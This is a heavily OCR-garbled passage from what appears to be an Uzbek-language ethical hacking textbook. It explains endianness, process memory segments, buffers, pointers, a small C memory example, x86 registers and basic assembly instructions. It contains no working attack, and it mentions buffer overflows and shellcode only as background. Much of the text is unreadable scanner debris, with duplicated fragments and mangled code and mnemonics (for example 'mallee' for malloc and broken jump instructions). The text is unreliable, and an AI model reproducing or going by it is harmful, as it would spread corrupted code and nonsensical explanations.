un mavjudligini btllblu ‘lla;inf‘ katta uchidan sindiradlg:an quag.ﬂ:ljl: ,;i“?:]:ruﬂ
f(ﬂn s lm‘l; E:{;uﬁ;;:iidq fugarolar urushi yuzaga keladi, natija
ichikEndiyalikla S1Ge

o ib ketishadi.
irolligiga gochib ketishadi. =
yaliklar qo*shni orol —Btefllf:‘“mi::; rn? g\.mimﬂa yozishda ikkita yondashuvni
ma I : =

Cohen magolasida o
a - % : -h
la'riflaydi: clarma’ lumotlamni yozishda pastrazryadli baytlarni birinchi
* KichikEndiyaliklarm
Yozish kerak deb |1i:-‘-l:'.ihi'.‘ljyr'l:h|:ll'.r
* KattaEndiyaliklar esa ¥
O"ylaydilar. ‘
Bu farq asosan foyd
Masalan, Intel pmtscs?iur!
sessorlari esa kattaendiyali

irazryadli baytlarni birinchi yozish kerak deb
ugorir
qurilmasiga bog'liq bo*ladi.

2 rat :
alanilayotgan appa Ini qo‘llaydi, Motorola prot-

ari kichikendiyal_ik usu
k usulni qo'llaydi.

. mentatsiyasi + _ ) ;
xm,lr;::gi;utuﬂ bir bobni ega!IthI mumkin tzlt; _I~I
vzusi 0'Z-0 7; wshuncha oddiy. Har bir jarayon (bu oddiy
mo asosi
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Segmentatsiya ma
gan murakkab masala. NI.I :
qilib aytganda, ishga ‘P'Siflic
in‘lkqniyatiga ega bo*lishi

" ’ %
-I'iq. k"i Hﬂn "l} - JIH:LB.‘.-\." ".L’ Jk'l;"r} xiotira
e k& rﬂﬂm } 0 1 i

! { dl.:l!l 1"'|E'l..‘1..‘5h

B e 0 vy Lo e LT




| . i I i ) Iil. il'IE a}’ i“1
! "y i . SLC'.IU!‘I Lo
I: L.-I"‘. it SIJLL " . . ]’i:"ila"

1 Kichik s‘-ugmuntl.uﬁ

'yojlar jratiladi »yobning
2 ehu}'ﬂjiﬂrlgu qarab ajratiladi. Bu Eflgn'gu
hokama qilinadi : ida jarayonlar o*zlarig

3 S radek ofsel
mumkin bo*ladj. Shuningdek, ag-
it . averda s
CEMentning jchidy mu lumotlarning qayerda Jtifa
; : oo wimtaal X
Ningdek, Jarayonning virtual

him mg
riladi. Segment

atsiya, shy
Janday luzilg

anliginj ham j

s A ot
manzili maydon; fodalayd;. Masalan, kod seg ““.:-[-
ma’lumot segmeny; vastack segmeny; kabj suumemiurjur;n,-unninu virtual manz

lar maydonidg alaylab har yj] , "

. donida Ududlarg, ajratiladj. Bu
gismlari bir-biriga lo*gnash kcImaﬁligi uchun vy 1,
satlarni belgilagh ini bera;

Har bir j

lig. Og Iy 32bit w
a4 ega bo*[ad, aimning
qolgan 2GR qQismi ey ddroyj ik,
k qismi fiz) XOlirg b

ar larjimas; kabj |, ullar
&4 moslashtjrig}, usullg

Jimiga va
fagat kich;
va manzij]
manzillari

: v
Ml Mavjyq,

Jarayon|ar

bo*linadi. Biz fagat o

lardg Muhokamg qi

Xutiraﬂa i
o B dasty ). =
B Yikangnig 8 e ichik bo-limlarg?
AS08iy hyey Ar asosan Ko'plab kichik bo
>t asog Dfln'lgﬂ €libg
linadj, J

Jime
; g 111
Qaratamiy,, ular quyidagi b

_ text seksiyas; (b0 lim;
ikkilik dastur Fu;-,rfining A

dext Sekgive . :
Shunjp, de Yasi
uchun kera bo‘|

s i Ff:‘]“.

eXt gis od SCEmeny; deb ham ataladi. db-{,:rjg;ll

£aN Mashing |« atr s Keladi, U bolimda vazifani bajd sl

i deriladigan qilib bE‘EEilang Hfmu{ariJ*‘-‘Flashgan. Ushbu bo*lim u‘tlil"l_dl.gfqtu.

a buzilishi Yuzagy kelag; lag; Va agqy Yozish h-h akati amalga oshir” i
ish vaqtj davgmida chi = arakati amalg

ing o*lcham
drta Yuklanganda, uning «

. e turh
ajratish jarayonning ol
ar bir segment uchun mos

Manzillar ma ydoniga ega h”'m:j_!
» 32bit yoki 64bit). tizim sﬂf-li’("]‘ﬁ
indows Jarayoni Udmd“q : re-
2GB gismi foydalanuve 1““!1
A ajratiladi. Har bir jurill*"‘""".”;
*8'liq bo'j I, va arxitekturaga qarab. ['l“‘.-“ﬁ'J=
94l viry Xotira manzillarini fizik X0

fnnt i,

' lgilanadi. Bu
i shirilgan aytdabe‘+ 1adi.
R mbhll'nll*.;'i ke::lk lekin bajariladigan
. . : ‘
Ushbu scksn}.dnm;-:_ et otlnn Vi
*qish va yozis
segment o*qish

bo*lmasligi lozim.

Heap seksi}’afl viliilarnt sealnilign mc-“l:
i dinamik ravishda ajratilgan o Z-g':?:?gmiradan Viisorl masaitl
Heap bo*limi d|{1ﬂm ; ratish jarayoni past 1:(19;1:.1 mgilluc[}‘ reuliac0 a I'r‘-ee {?
Jallangan bo‘lib, xotira Iij5|1,iri|ildi, Xotira ajratilis l-:;.nni ¢'lon qilish va xotirani
Kotirage tomon ﬂn-mlgah?]ari!udi. Masamr], hl{t::hibknd yozilad:
Mksiyeian Trq“:::ﬁ?:lsajmtish uchun quyidagi
ishga tushirish vaqtids

- f”.”-.
'y 1 ol

il ! ' . :

Tl P 1 _r f”j! i l‘f"“"fl “.Hr! “-”In'l. ey an mileeor, I

. 7 'i._l. [-I’ I'F a 5

i "‘“J!}f A P

I 1] rd 1] ,f il e N '_I.'
h‘l '{'I_"l,'f‘\'.'.f.”'i_, 1-T-|l-|r“i." fl,f; h |
: l’ Gl

ishi kerak, lekin bajari-
: o‘lishi kerak, : .
zish uchun hclgllnngan;lm"i qo‘lga kiritgan tajo-
i o*qish va yoz g idan naz B e o
Heap bo*limi o EI“ k, chunki _]:lra}fu: :stli e g i it
" [ .'IiE’ werak., S'hc” odn g
ladigan bo*lmaslig i sobalands
% anls hl.‘iiP LE!
vuzkor stack va

dyast i i “hun
k seksiya ini kuz orish uchu
Sm{f rsiv) chagiruvlarini kuzatib bmun?illi o
alaming (reV anzilli xotiradan pastroq : “;q stack
yugori m ‘Isa, har bir ipning 0°ziga xos S
kusp |p!| bﬂ 5i, 5 \‘{]Iirﬂd‘]n Pas'lruq x(}lu’agﬂ
o ori 3 solll : s 4
- oizdek. stack yuqc i conini beradi.
. w,.gﬂmuglzdLh ini yuzaga keltirish imko riornn
X0 dimi boTlad. - shib ketis . aviu i
. . o 1[}5'1' i .n_udn ma J
*sishi, bule k bo'li
Qarab o'sist nilar stac
iy o' zgaruvchi
Mabhalliy o*zga

iriladi.
da batafsil tushuntirilad

Ll iy

Stack bo*limi TT'.ijgin'llurdﬂ
ishlatiladi va knﬁp-gmﬁrar _-iarﬂ}""}"
liraga qarab o‘sadi. Ag

: “limi .
Muhitmrg';":::::i:‘i; I::rak bo Iishi. m:qu:{;:;ibiqlgs?
hilarn _ i va X0St ne ; v Busfier
iq nomi va xost format qatori va
im yozish ?i‘jlhl'.“ ochlﬂn?gelrlahcqlil‘lglhuningqe}“v b””m[!;l;
im etiladi. Ushbu b“-,hm:v dalaﬂismmkmu ira bo*limlari kell_m'g?n tarti
tagdim eulad.h luatlarida f0Y saqlanadi. )_{ot_lr idagicha ko*rinadi:
toshib kEliS]“lf::-iSF:lShhu hud].}::ﬂwma bo*shlig‘i quyl
lori argumen - yonning’
Joylashgan bo*ladi. Jara

bo

]'“ﬂuhiu’a.rgulmrrﬁihli"mwC

s st zfmri. yo'l, 40
lan boshga narsalar q
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mﬂﬂﬂl‘:w yf:&‘ah ?meis}"r"i xohlamaysiz. Shu sababli xotira kichik segmentlar-
ia t:'-o 1Ingdl va jarayonlarga ‘ulrarmng ehtiyojlariga qarab ajratiladi. Bu bobning
eymngi qismida muhokama qilinadigan registrlar ynrdamidajm-m.“n]ar abalnpicn

ajrartﬂgan segmentlarni saqlash va boshqarish mumkin bo*ladi. Shuningdek, ofset

: otlarning gayerda saq-
2ili : : » Shuningdek, jarayonning virtual xotira
ma!-;zﬂl maydoni ganday tuzilganligini ham ifodalaydi, Masalan hkml segmenti,
;:: n:zamgl sr_:gmcnu va stack segmenti kabi segmentlar jarayonning virtual manzil-
e v E‘m;‘ falayla‘h har xil huduajllarga ajratiladi. By ajratish jarayonning turli
qismiari bir-biriga to‘qnash kelmasligi uchun va har bir segment uch RN
satlarni belgilash imkonini beradi, segment uchun mos rux-
Har bir ishlayotgan jara ‘zining vi
YOn 0°zining virtual manziljar i i
) . LG maydoniga ega bo*ladi
;»aaﬁh:rjﬂhzdudmr_:g ha;rpu amleklu‘mga (masalan, 32bi yoki 64bit) libyimhgm;ﬂm.,_
x-inuaT x‘]:;ratsmndum‘l‘nga bog‘liq. i:'}ddi}' 32bit Windows jamyr;ni -odaltd:;: 4GB
jimiga va q:)al may’?ggga: °a bo'ladi, by hajmning 2GR qismi foydalanuvchi re
£ £an UGB qismi esa yadroviy reiimaa aiea: 1. 1 j i
o . 3 . ’ Eaa e e |
faqat Llci_'nk qismi fizik xotira bilan ht}g‘liq hé‘laai vJ;m”i‘.d:'. il hlrJura}rmn!n':.
va manzillar tarjimasi kabi usy]jar orqali virtual x Arxitektiuraga qarab, paging
manzillariga moslashtirish usullari mavjud 4l Xotira manzillarini fizik xotira

Xut?radagi dasturlay
nganida ular aso
Y bo‘limga e’tibor

larayonlar Xotiraga yukla
bo‘linadi. Biz faqat oltita asosi

san ko‘plab kichik bo*limlarga
larda muhokama qilinadi.

Qaratamiz, ular quyidagi bo*lim-

va .bajarila.digan qilib belgilangan bo'ladj
!-;msh hElzlhEhi Yuzaga keladi. Dastur birinchi
ish vaqti davomida belgilangan bo*ladi.

-data Seksiyasj

P G . ik
ata Seksiyasi global ishga tushirilgan 0'zgaruvchilarni saglash uchun jsh|
: 1 ishla-

tiladi, masalan:

ita=0:

D

.bss seksiyasi
Below Stack section (.bss) global boshlang®ich o*zgaruvchilarning ayrim
turlarini saqlash uchun ishlatiladi, masalan

mra;

Ushbu seksiyaning o‘lchami dastur ishga tushirilgan paytda belgilanadi. Bu
segment o°gish va yozish uchun ruxsat etilgan bo'lishi kerak, lekin bajariladigan

bo*Imasligi lozim.

Heap seksiyasi
Heap bo‘limi dinamik ravishda ajr'fuilg:m u‘zg‘ar}wch_ilami Saqlasljga mn;‘lj
jallangan bo‘lib, xotira ajratish juraym}I past I:I‘tl.';m'{,lnl xotiradan yuqori manzilli
xotiraga tomon amalga oshiriladi. Xotira ajratilishi ma.llof.‘ﬂ, re?!lﬂc[} va ﬁ:ee[?
funksiyalari orqali boshqariladi. Masalar?, ht}tuu sonni e Iu:.&n =.:|11|5h va xotirani
ishga tushirish vaqtida ajratish uchun quyidagi kabi kod yoziladi:

int i = mallee (sizeof (int)); dvnamically allocates an integer. contains
i sze e s

the preexisting value af that memory

Heap bo*limi o*qish va yozish uchun belgilangan bo*lishi kerak, lekin bajari-
ladigan En‘lmaq!igi kerak, chunki jarayon ustidan nazoratni qc-‘igaf kiritgan tajo-
vuzkor stack ﬂ~ heap kabi sohalarda shellkodni osongina ishga tushirishi mumkin.

Stack seksiyasi

nksiyalarning {rckul:siv] chragirmllarini kuzatib barish1u?hun
ishlatiladi va ko'pgina tizimlarda yugori fmn‘zﬂh xc:-u:‘l.da‘m Fasj:ruiqlmnr_uzlll;mlg
liraga qarab o°sadi. Agar jarayon It;u-p ipli hﬂ. Isa, ha]‘ rll'flpl‘ldm‘g 0 ?::ga hlI}S“tj ac:
bo‘limi bo'ladi. Ko'rib turganingizdek, stack yuqori xotiradan pastroq Xotiraga

ceieni hifer toshib ketishi muammosini yuzaga keltirish imkonini beradi.
E:r?]bﬁt SISFI;:::E;:;M stack bo*limida mavjud bo*ladi. Stack segmenti 10-bob-

ahalliy o*zg

da batafsil tushuntiriladi.

Stack bo‘limi fu

Muhit/Argumentlar bo*limi . .
: stlar bo*limi jarayon da'mnrufia kerak bn‘llsh‘:‘mun‘{kln.h{) lgan
: Muhut’ar_gunv?l 5 ruvchilarning nusxasini saqlash uchun ishlatiladi. Masa-
s o', qobig nomi va xost nomi ishlayotgan jarayonga
lan, boshqa narsalar qnlctll'f- y n;ish by oaBia o Tih, e bt ket va B
buri{’i:‘fzyd'alanisl1 imkonini br:radi_, Shu_ningc!e.k, huqu qa-
ududda saglanadi. Xotira bo‘limlari keltirilgan tartibda

nning xotira bo'shlig*i quyidagicha ko'rinadi:

tagdim etiladi. Ushbu
toshib ketishi ekspluatla
tori argumentlari ushbu h
joylashgan bo'ladi. Jaray©
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Quyvi manzillar

Yugori maneillar

“'L_“F :I oyilalani lmoganiary .'“;IHCL EIH .

Buferlar

Bufer atamasi ma’lumotlarni Jarayon tomonidan qayta ishlanguniga qadar ga-
bul gilish va saglab turish uchun foydalaniladigan xotira qismini anglatadi. Har
bir jarayon o'z buferlar to’plamiga ega bo*lishi mumkinligi sababli, ularni to'g'ri
saglash juda muhimdir: by Jarayon Xotirasidagi .data yoki .bss bo*limlariga xotj-
rani ajratish orgali amalga oshiriladi. Eslab qoling, bir marta ajmtilaundaﬂ keyin,
buferning uzunligi belgilangan bo‘lad;. Bufer har ganday oldindan belgilangan
turdagi ma’lumotlarni saglashi mumkin, ammo bizning magsadimiz uchun biz

fo}rda!anuvchi kiritmalari va matnlj 0"zgaruvchilarni saglash uchun ishlatiladigan
qatorli buferlarga e'tibor qaratamiz, )

dext Adala ss

Xotiradagi satrlar (string)

Oddiy qilib aytganda, Gatorlar xotirada ketma-k
ma’lumotlaridan iborat massivlardir. Qator Xotirada bjrj
aniglanadi. Qator nyl| belgi (\0 C tilida) bilan tugatiladi
chisﬁ kelma~kr:tligining misoli hisoblanads. Qochish ke
yangi qator m ynk_i qaytish \r kabi maxsys Operatsiyani belgilash imkonini bera-
d|: Tnf:skarl qiya chiziq () keyingi belgi Qatorning bir qismj sifatida qaralmas; i
ta mmlaydl, ﬁgar teskari giya chiziq kerak bo*lsa, qochish kn:lma-k:lf:' ;i \ d}:igm]
L'Edl, !::u fagat I?[tta teskari giya chizigni ko*rsatadi. Tyrl qochish ke - & I?- .
ning jadvallari internetda mavijud, Bl

et joylashgan belgilar
nehi belgi manzili bilan
Yoki yakunlanadi. \o qo-
tma-ketliklari dasturchiga

Ko‘rsatkichlar {puinters}
boshqa qismlarining me chi maxsus
sekin ope-
lementlar manzillarini
“gartirish ancha gsop,

‘rsat bitli bo'lishiga Qarab, ketma-ket i
: : ; A a-Kel 5
Xolraning 4 yoki 8 baytida saqglanadi, Masalan, ayyag) aytib n‘tilgzlniiiéllzwi:z?!z::

massivdagi birinchi belgi manzilj bilan ani '
‘ nchi b niglanadi. Ushhy manzil giymati ko*rsar.
kich deb ataladi. ¢ tilida qator 0°zgaruvchis; quyidagicha ¢'lon qi?ilfad?u .

N

Shuni unutmangki, arxitekturaga qarab ko rsf'ttklch hil_]r‘l"fl -I b},,;?k‘liainl-::y;i .
o‘rnatilgan bo‘lsa ham, yugoridagi buyruq yordamida q:ft{'_-r_ha_um[; | _gxhlana é.-: w;
shuning uchun bu ma’lumotlar tashkillashtirilmagan (uninitialized) hiso
h " - * & -

j 1 xotirasini ‘i oylashtiriladi. -
arayon xotirasining .bss bo*limiga | . L

e I{r'an'i bir misol: agar siz xotirada butun son (u'ulf:ger} uchu‘n ko‘rsatkichni
saglamogqchi bo*lsangiz, C dasturingizda quyidagi buyrugni berasiz:

(5 fs ve me 4 or 8 bites called point I, which is a
int * pesintd this s read, give me 4 ¢ ]

pointer o an infeger varighle.

Ko*rsatkich tomonidan ko*rsatilgan xotira manzilidagi qi}lf matni 0*qish uc!]:f::.
9 T5¢ ey ens qilasiz. Shuning uchun, agar yuqorida-
co'rsatkichni * belgisi bilan dereferens gilasiz. _ e :
11 Ll .
L'Eﬁ:gguh:ﬂml tomonidan ko‘rsatilgan butun sonning giymatini chop etmoqchi
Il KOoQda p i N rak bo*ladi:
li:n‘lqangiz. quyidagi buyrugni ishlatishingiz kerak bo*ladi

printfi "Yad"”, *poined);

Bu yerda * belgisi pointl deb atalgan ku‘rsml-:ichrfi da_:referens qilib, butun
sonning giymatini |;rintf{} funksiyasi orqali namoyish qiladi.

o kd i ini birlashtirish
Xotira bo‘limlarini T : di
. . - ] ]
Keling. dasturning xotiradan ganday foydalanishini ko‘rsatadigan oddiy

g, das g
isolea garaymiz. P
BIRORA PR Laboratoriya ishi 2.7: memory.c -
Avval dastur mazmunini ko‘rsatish uchun cat buyrug idan foydalanamiz:
vval das az

thali kali)-[- GHHv6/ch02]
I:..::'m‘ memory.o
#include <stdlib. h=

(include <siring > e ppe
Mhitciids 5. 7 integer stored in data fimitialized)

v string stoved in bss ﬁmhn'ﬂ'm’t:t'f.’l
:'nn:m-r stored in bss (uninitialized)
: sarts fimetion] block with argument (c)
1O  hracket starts fune tion!

it index

char * sir;
nt nothing:
voidd functlfint ¢/ o
fnf i=e; croved in the stack reglon _
il p.ﬂ Slared . s P
y har*) malloe (10 * sizeaf tehar)): @ // Reserves 10 characte

st = fehar (

o
the heap region —
T a fav Jiaraciers "abede” in
mabede” 5.6/ copies 5 charac

strncpyisi, j
function

} 4 end of functio | , -

void main (){@ // the required main function

fimect1(1);0 // main calls functionl with an argument
I.."E // end of the main function




S

e

="

nechtaﬁhxhﬁfifséﬁ;ﬁip ! irat, oymydi. Dastlab, otiraning turl gismlarida bir
dart ajratib olinadi. main funksivaci fatos :
funct1() funksiyasi | ragamini _ styasi bajarib bo'lingach @,
qamim argument sifatida qabul gil; A

o) = : 5 qabul qilib chagiriladi ®. fun-
n‘tli;:i};aagil gg::nd%n 50'ng, argument ¢ deb nomlangan funksiya E‘Mam vchisiga
ajratil-a iy I;lih?mfl; r.lleb n_ng'llangu‘l:i 10 baytli gator uchun heap m‘:tirusid;m‘j;v
chiga kn‘ch}riladi}; ‘I‘ iy*m abede” qatori yangi str deb nomlangan o* ?gurm'r
: - Funksiya tugaydi, undan so*ng mai : . -

. B3 : - S0°Ng main() dasturi tugavdi

E"-"f”f"m Kitobda davam etishdan oldin, wshhn mertericl .“:Hd}'dl -
Lm.'_-.:.f:z:.-s ishanch hasif dilishingiz kerak. 4 I

17 J'f"'l" L fl.l" isd = ¥ y I
iqisiungiz kerak bo Isa, davom Hshielan oldin wni (el

: 1 tshiiiog-
Zar ushhu habning hiro SISO geavia
. Efcal Fi

Viir i) .'I*__r; ”_rll'”._\_:

) Intel protsessorlari
B il ke '
2 hizIrl:lfjhE:- hlﬂ kcjng tarqalgan kompyuter arxitekturalari mavjud. Ushbu bob
—— nddiyg%nz s_eitin;}larl: yoki arxitekturasi hagida to*xtalamiz Artilékluru; -
_ 15hiab chigaruvchining o'z protsessorini e e
S _ nir protsessorini ganday amalea oshir.
£ani haqida tushuncha beradi. Hozirgi kunda eng ko‘p qn‘I!an1ilagiau:1a:;:itmlflllr
£ Xitektu-

arxitekturalar ham rivojlanib uraﬁla”di“? har yili ARM kab; boshga

Registriar

cha saglash uchup ishlatiladi,
uctxun mo*ljallangan tezkor 8
._chlslrlar to'rt kate

Registrlar ma’lumotlarn; vaqtin
sessor tomonidan ichkj foydalanish

* Ularni prot-
bo*laklari sifatida tasavyur qiling :

( -64 bitli xotira
goriya bo'yicha bo'linadi

regis i .
masalan, EAX v X). Ushbu k g h:lar €sa R bilan oldindan belgila
e, RA Alegoriyalar 2-4-jadyalda kc]tirilgaé o
n va tav-
x86 va x86- : 2
6-64 protsessorlari uchun regj i S
. gistriar toifalari
r ___-_-___-—-—-_____
: 32bit S
: 64- i
toifasi bit Register nomj Register 16 va Shit
S nomj Registeriyy Magsad
mumiy | RAX R ( e
regisirlar [ RS % RCX, RDX. Rg- EAX, EBX,
L S ECX. EDX Ma'lumotlarni hoshgg-
—— IA—— rish uchun ishlatilad;
T I —
e e | CX. DX "f“qlﬂflldﬂgi rcgistrlaming
[ ——————f—— | 16billi versiyalar;
AH, BH, ¢ .
AL, Ili’r.T.{L‘IH]?I}L Ay Eiaming
AL - yugori i
_JQ\‘ baytlari, LTS i
__-_-_'_'_——_______—__

Segmentli CS, 55, DS, ES, | 16bitli. Xotira manzili
registriar FS. GS bir gismini, shuningdek,
kod, stek va qo*shimcha
ma‘lumotlar  sepment-
larign ko rsatkichlami
saglavdi.

Oilser Segmentli  repistrlarga
nishatan ofsemi ko'rsa-

regisirlar ;
tadi,

RBP (bazaviy ko'rsatkich). | EBP Funksiva wchun stek
6dbitli bazaviy  ko'rsatkich- frevmining tagiga, stek-
ning ishlatilishi ramka ko'r- dagi lokal muhitning
satkichining olib tashlanishi- boshiga ko rsatadi.

ga, dasturlash tili qu‘]lnbr(!u\'-
vatlashiga va R8-R 135 registr-
laridan fovdalanishga bog*lig.

Ma'lumotlar blokida
amalga oshirilgan ope-
ratsivalarda ma’lumotlar
manbasi ofsetini saglay-
di.

RSI (source index). ESl

EDI Ma'lumotlar blokida
amalga oshirilgan operat-
sivalarda manzili ofsetini
saglayvdi,

R {destination index).

ESP Stekning vugorisiga

SP (stack pointer).
RSP (stack pe ko' rsatadi.

T Fagmt CPU 1omonidan
Maxsus ishlatiladi.
registriar

EFLAGS CPU logik natijalami va
protsessor  holatimi ku-
zatish uchun ishlatadi.
Muhim flaglar: ZF (nol
flagi). IF (interript im-
konivati flagi), SF (belgi
flagi),

RFLAGS

I

32-hit: EIP Keyingi bajarilishi kerak

s bo'lgan instruksivaning

paintes manziliga ko' rsatadi.
[

RIP (instruction

Assembler tili asoslari
d butun kitoblar yozilgan bo'lsa-da, asosiy tushunchalarni o*z-

ASM tiliga 01 D - o1ik xaker bo'lishingiz mumkin.

lashtirib, yanada samara

wh
Lad




Mashina tili vs. Assembler tili vs. C tili

Kompyuterlar fagat mashina tilinj tushunadi, va'ni 1 va 0 lar
Biroq odamlar katta 1 va 0 lar qatorini talqin gilishda qiynaladila
assembler tili dasturchilarga sonlar qatorini eslab qolishda mnem
dam berish uchun ishlab chigilgan. Keyinchalik, C va boshqa
tillar ishlab chiqildi, bu tillar odamlarni 1 va 0 lardan yanada uzoglashtirdi. Agar
siz yaxshi etik xaker bo*lishni istasangiz.jamiyatdagi tendensiyalarga garshi turi-
shingiz va assembler tiliga qaytishingiz kerak.

ketma-ketligini.

oniklar bilan yor-
‘uqori darajadagi

AT&T vs. NASM
ta asosiy shakli AT&T va Intel bo'lib, ular o*rta-
sida farqlar mavjud. AT&T sintaksisi GNU Assembler (g2as) tomonidan ishlatiladi,
bu gee kompilator to*plamiga kiritilgan va ko*pincha Linux dasturchilari tomo-
nidan go‘llaniladi. Intel sintaksisidagi assemblerlardan eng ko'p qo*llaniladiga-
ni Netwide Assembler (NASM) hisoblanadi, NASM formati ko*plab Windows
assemblerlari va debugglarida ishlatiladi. Ikkala format ham asosan bir xil mashi-
na tilini hosil giladi, ammo uslub va formatda ba’z; farglar mavjud:

* Manba va manzil operandlar; teskari joylashtiriladi, shuningdek, izoh bosh-
lanishini ko*rsatish uchun har xil belgilardan foydalaniladi-

* NASM format CMD <dest>, <source><; commen(>

* AT&T format CMD <source>, <dest><# comment

*AT&T f't;:rplat_ida registrlar oldidan % belgisi ishlatiladi: NAS Mda bu mavjud
emas. % belgisi “bilvosita operand™ degan ma’non; anglatadi,

* AT&T formatida anig qiymatiar oldidan § belgisi ishlatiladi: NASMda

bunday belgi ishlatilmaydj. § belgisi “to'gridan-t0*g*ri operand™ degan ma’noni
anglatadi.

* AT&T xotira manzill

Assembler sintaksisining ikki

arini NASMdan fargli
r buyruq uchup NAS
gdek, tagqoslash uchun a
atilgan, Umuman olganda

ravishda boshqaradi.
M formatidagi sintaksis va misol-
yni buyrug AT&T formatida ham

misol tariqasida ko'rs » barcha buyruglar uchun quyidagi

format ishlatiladj:

<aoptional label:> <, ; )
emonic> <operandy <optional commenis=

ents) .s.uni l?uyruqqa (mnemonic) bog‘liq bo*ladi. Garchi
r bt_tyruqlan mavjud bo'lsa-da, fagat bir nechtasini yaxshj 0'z-
| keltirilgan,

. mov
‘moy buyrug‘j ma’lumotlarnj manbad
asl joyidan oljh tashlanmayd;.

an belgilangan Joyga ko*chirad;. Qiymat

¥y l .l ) l’ F [ ] ] e
l.‘ M > Moy X, S Jr-h LCamment ”"’-"I‘II o .III 1, ot dX Fooement
eV <l .‘.I:\:‘-q <KOnNr s

i ‘a'ri istriga ko‘chirish
Ma'lumotlarni xotiradan to‘g‘ridan-to’g'n segment re'gmtngasad“ sl
Ma lumaotl ; 51 ; Hha e : -
mumkin emas. Buning o'rniga, oraliq bosgich sifatida umumiy maq
s . ir misol:
dan foydalanish kerak. Mana bir mis

o i ALY
mov eay, 12340 ; store the value 1234 rr‘it’-\-’(f;f" E
(LA - N " s
MOV 8, (ay H‘u:" :'“-I?I],' .HH' 1-'-!-'!‘"“-" [#’ "I'.!' inro ]

b (qo*shish va ayirish) 1 _
b “.d :;?j];: q:::‘lshadi va natijani belgilangan joyda sag-
ani 5

add buyrug'i man joydan olib tashlaydi va natijani magq-

APl o i
laydi. sub buyrug'i esa manbani belgilang
sad joyida saqlaydi.

NASM Example AT&T Example

Jdd Cax. -" I |I Jdd ;5] h ﬁ/ﬂk‘ﬂx
] - " !
b Ih Cilx 51 h q.uhl S_ Ih, “fnf.‘{i_\'.
! +

NASM Syntax
add <dest>, <source™>
sub <dest=, <source>

ish va qo*yib yuhorish? _ o
push and pop {hzi};ﬁ Smigian elementlarni joylashtiradi va

suglari mos l‘ﬂ‘{i : =R iga qo‘yadi. Bu buyrugni
_ h.rm.f{ va pop bu? Lu:!i registr yoki qiymatni stek I{Sr::.ﬂ.;;lp :uki ESP) 8 bayt-
“h""amd".{p’fmh hu}i; ko'rsatkichi (stack pmnlc‘f— :ira di. pop buyrug‘i stekdan
haqicga figiads, s adi va giymat stekka saqiana i}p ruqni chaqirgandan
£a (64 bit tizimda) ka;};im“gan registrga Sag!ﬁfdh H e )
iymatni oladi va uni belg .o tariladi.
En}fng. stek ko'rsatkichi yana 8 baytga K

T&T Example
NASM Syntax NASM Example pll""]:: Beax
P;lu]l <value> push cax popl %ecax
Fni‘-' <dest> pop cax
XOR

iaiv “exclusive or” (XOR) funksiyasini

i bitlar bo'yicha mantiay - . Shu sababli, XOR yor-

XOR buyrug'i bitlat '3 o 11111111 =00000000. She lini nolga

bajaradi — masalan, 11111111 X li registr yoki xotira manzilini nolg
aradi - n :

lue orga ; : i ...
damida. masalan. XOR "alu;:f:(g'p ishlatiladigan boshqa bitlar bo*yicha ope
‘ ash mumkiit.

1 i xoti ilidagi ma’lum bir bitning
chiqarish yoki tozalash Biz registr yoki mur: 'm:a?alamgma”ﬂc e
o't o2 npmwrfdlgganliﬁi"i aniglash ¥9 adkich qaytarganligini aniqlash
O°rnatilgan yoki o‘maul[f‘ iga biror blokka ko'rs 5
o i o HHHQ' l-|I-J..llagtishimiz mumkin. Bun
ini is
Uchun AND operatorini 1
bajarish mumkin: test €aX:

lloc funksiyasiga chagiruvdan so‘ng. Agar

eax — ma




malloc null qaytarsa, test operatsiyasi FLAGS registridagi “zero flag™ni 1 ga o'r-
natadi. Ushbu testdan keyingi shartli sakrash (jnz) buyrug*i natijasida AND ope-

ratsiyasining natijasi asosida yo'l belgilanadi. Ushby operatsiya assembler tilida
quyidagicha ko‘rinadi:

eall malloct 100
fest eax, eax
Jnzlee 6362cc012

NASM Syntax NASM Example

Yor <desi>, <souree=

AT&T Example

xXar eax, eqy Yo Peax, Yeay

‘ . ine, je, jz, jnz and jmp
ine, je, jz, inz va Jmp buyruglari dastur oqimini efla

(zero flag) giymatiga Qarab boshqa joyga yo'naltiradi,

* jne / jnz (nolga teng emas / nol emas) — agar nol flagi 0 ga (e
rash amalga oshiriladi,

* je / jz (nolga
oshiriladi.

g registridagi *no| fagi™

ng bo'lsa, sak-

teng / nol) - agar nol Magi 1 ga teng bo'lsa, sakrash amalga

* Jmp esa har doim sakrashn; amalga oshiradi, shartsiz,

NASM Synrax NASM Example AT& T Exampie
Inz <dest> / jne <dest> Jne stari Ine stan
iz <dest> fje <dest> Jjz loop Jz loap
Jmp <desi> Jmp end Jmp end
call and ret

call buyrug*i bajarilishni boshqga
yingi virtual Xotira manz;
ishlaydi, so*ngra bajarili

. funksiyaga Yo'naltiradi, cal)
I avval stekka suriladi

all buyrug*idan keying
Qaytaradi, ’
NASM Syntax NASM Example 4 T&T Example
call <desr> call subroutine ) cell subroutine |
ret ret

rel

' inc and dee
Inc va dec buyrug*larj mos

", ravishda manzjlni bir birlikka oshiradi vg kamay-
JI\HSM Symrax NASM Example AT&T Example
inc <desys inc eqy ine! Yoy
dec <degy> dec eax decl %eqy

lea .
o ] .. pys b . ‘o l‘uVChlSlga
lea buyrug'i manbaning haqiqiy (eflective) l'['liilﬂzﬂlm-lll;arlﬂl ;eng;? cantllgnr.
yuklaydi. Bu in'pim:lm satr nusxalash Ii{nkmyras‘@a !1133;1;?555&“1“? S
da ko'rinadi, Masalan, quyidagi AT&T o i qismiga
1-;| 5 m;'ﬂ 11... i asiga :‘lrﬂun';enr sifatida bufer manzilini stackning yuqori qismig
1Z ge1s funksiyasig =
yozamiz:

fea -0 20 %aehp), “aeax
men "oee, l"”‘lﬂl-"'f”

1 iy -
call IxSO48608 <getsplr

: cample
NASM Syntax NASM Example AT.T;:‘%‘;“-N::EL Sheax
:";';.r ‘- 'dﬁh <source>  lea eax, [dsi + 4/

i y a syscall
- chaqi;urln::fc;:'i':izif::tfgr;z:il:ian imtiyvozli operat-
— bu foydalan Byt 1on e
: ish mexanizmi bo Ilb.tbutn lastu ek

si}‘ani.hﬂrj;.i.ri:ah ucl1l:|11rg$(‘;:;:;; Ii:ﬂ(;,rim:ljthnidaﬂ l-;ﬁ:l'it’:l rcé:;":;ﬁa rE gt;,ﬂ:mlitil;rdslﬁ:
va rhajurlh.%h hﬂﬁ' ﬂl lirmrini bajarish l.ll.Eh'I.II'I int 0x 1|3'1f; 4 S8R Ryt
arxitekturasida tizim ¢ *I:i"]h hisoblanadi, lekin hali ham 32 il i:asﬁemer =
